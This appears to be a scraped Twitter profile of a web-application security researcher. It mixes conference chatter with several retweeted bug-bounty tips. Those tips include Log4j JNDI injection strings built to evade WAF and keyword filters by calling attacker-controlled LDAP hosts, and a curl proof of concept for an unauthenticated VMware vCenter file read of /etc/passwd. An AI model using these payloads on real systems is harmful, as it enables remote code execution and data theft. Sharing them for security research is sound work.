Darshit (DHacker)

|Security Analyst| |Researcher| |Expertised in Web Application Penetration Testing| |Independent security researcher|

[Darshit (DHacker) @DVarotaria]

It was hell lot of fun at @bsidesahmedabad, met some old friends, made some new ones.Thanks to @niksthehacker @dipenwadhwa and entire #BSidesAhmedabad2021 community for making this happen this year! Kudos! 🎊🎉 @emgeekboy thanks for motivating ✌🏼
#carhacking #infosecurity

[Darshit (DHacker) @DVarotaria]

https://t.co/2CrETFfsEC

#bankingindustry
#blockchaintechnology #blockchainsecurity #blockchaininnovation

[Darshit (DHacker) @DVarotaria]

I’ll be at @nullcon from Sep 8 - 10 staying at Grand Hyatt Goa. Let’s meet if you are around during or after event. #NullconGoa2022

[xxux11 ᯲ ̸ @11xuxx]

Just bypassed AWS WAF for log4j jndi injection:

${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}

Anyone who care to share Akamai Bypass?
#bugbountytips

[Darshit (DHacker) @DVarotaria]

@djurado9 @Hacker0x01 Congratulations mate!! 🎉

[Darshit (DHacker) @DVarotaria]

@intigriti Log4j + User-Agent = 💣💣💣

[Brandon Forbes @Rezn0k]

If you're filtering on "ldap", "jndi", or the ${lower:x} method, I have bad news for you:

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

This gets past every filter I've found so far. There's no shortage of these bypasses.

#log4j

[bugcrowd @Bugcrowd]

Companies not letting security researchers conduct full tests is like asking your doctor to only perform half of your annual physical. In @SCMagazine, Bugcrowd's @caseyjohnellis details why this is happening so often and what can result from limiting scope https://t.co/pz4LGJePk5

[RIVER @wugeej]

VMware vCenter unauthorized arbitrary file read

PoC working to Earlier versions (7.0.2.00100)

[PoC]
curl --insecure --path-as-is -s "$host/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd"

https://t.co/Uah4ucgtAT

[Rodolfo Assis @RodoAssis]

#KNOXSS really made me proud of, not just for what it made possible to achieve for several guys out there but also for what it has done for my big family (wife, kids, dogs & cats)!

Thank you all of you who ever had experienced my greatest work in those 5 years!

😀🙏🏾

[Sharan Panegav @PanegavSharan]

It was great experience presenting Esoteric android vulnerabilities at @bsidesahmedabad with @realsanjay
#androidsecurity #infosec #cybersecurity

[nikhil(niks) @niksthehacker]

This was 🔥🔥 video available soon on @bsidesahmedabad YouTube @S1r1u5_ @rootxharsh

[Masato Kinugawa @kinugawamasato]

Blogged! I wrote about data exfiltration technique via CSS + SVG font
https://t.co/OQMgYUL0T0 (English)
https://t.co/FVMbdcJ067 (日本語)
https://t.co/5DDG1DM4jp (video)

[Darshit (DHacker) @DVarotaria]

@the_st0rm @BlackHatEvents Super...All the Best!! 🎉🙂 @the_st0rm

[the_storm @the_st0rm]

Putting the final touches for "Do you speak my language" presentation @BlackHatEvents
You can read more about the presentation in
https://t.co/709XlQpoCZ

[Darshit (DHacker) @DVarotaria]

@stokfredrik Stokmaniac ✌🏼😁

[Darshit (DHacker) @DVarotaria]

Any Suggestions for Container Security learning?? #docker #containersecurity #dockersecurity

[Darshit (DHacker) @DVarotaria]

@intigriti Whoami

[Darshit (DHacker) @DVarotaria]

@intigriti Swag